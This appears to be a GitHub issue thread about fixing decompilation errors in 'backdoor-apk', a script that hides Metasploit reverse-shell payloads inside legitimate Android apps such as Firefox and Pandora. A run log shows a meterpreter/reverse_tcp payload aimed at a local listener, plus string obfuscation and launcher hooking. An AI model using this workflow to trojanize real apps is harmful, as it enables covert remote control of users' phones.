Closed wongcheehong closed 7 years ago
@wongcheehong Which system APK? I actually never tried one.
@dana-at-cp Miui system apk AnalyticsCore.zip
@wongcheehong Thanks. I'll check it out.
firefox.apk is also bringing up that error . https://justpaste.it/13vej
Do you have any idea why ?
@wongcheehong I checked out the AnalyticsCore.apk file and it appears that there are no smali files after decompilation:
root@kali:/tmp/foo# apktool d AnalyticsCore.apk
I: Using Apktool 2.2.1-dirty on AnalyticsCore.apk
I: Loading resource table...
I: Decoding Shared Library (com.mediatek), pkgId: 8
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
Here's the output for Pandora 7.4 (notice the classes.dex files):
root@kali:~/Code/github/backdoor-apk/backdoor-apk# apktool d -o /tmp/foobar Pandora_7.4.apk
I: Using Apktool 2.2.1-dirty on Pandora_7.4.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
root@kali:~/Code/github/backdoor-apk/backdoor-apk#
I suspect that you are missing framework files required to fully decompile that particular APK. Consult the APK documentation for more information:
@peterpt The issue with the Firefox APK is a bug. I'll open a new issue.
I try it with random system apk. Why this happened [] Running backdoor-apk.sh v0.2.0 on Thu Feb 9 10:19:29 EST 2017 [+] Android payload options: 1) meterpreter/reverse_http 4) shell/reverse_http 2) meterpreter/reverse_https 5) shell/reverse_https 3) meterpreter/reverse_tcp 6) shell/reverse_tcp [?] Please select an Android payload option: 3 [?] Please enter an LHOST value: 192.168.1.150 [?] Please enter an LPORT value: 7777 [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc [] Generating RAT APK file...done. [] Decompiling RAT APK file...done. [] Decompiling original APK file...done. [] Merging permissions of original and payload projects...done. [] Running proguard on RAT APK file...done. [] Decompiling obfuscated RAT APK file...done. [] Creating new directories in original project for RAT smali files...done. [] Copying RAT smali files to new directories in original project...done. [] Fixing RAT smali files...done. [] Obfuscating const-string values in RAT smali files...done. [] Locating smali file to hook in original project...grep: android.intent.category.LAUNCHER: invalid context length argument grep: android.intent.action.MAIN: invalid context length argument grep: android.intent.category.LAUNCHER: invalid context length argument grep: android.intent.action.MAIN: invalid context length argument grep: android.intent.category.LAUNCHER: invalid context length argument done. [!] Failed to locate smali file to hook run.log.txt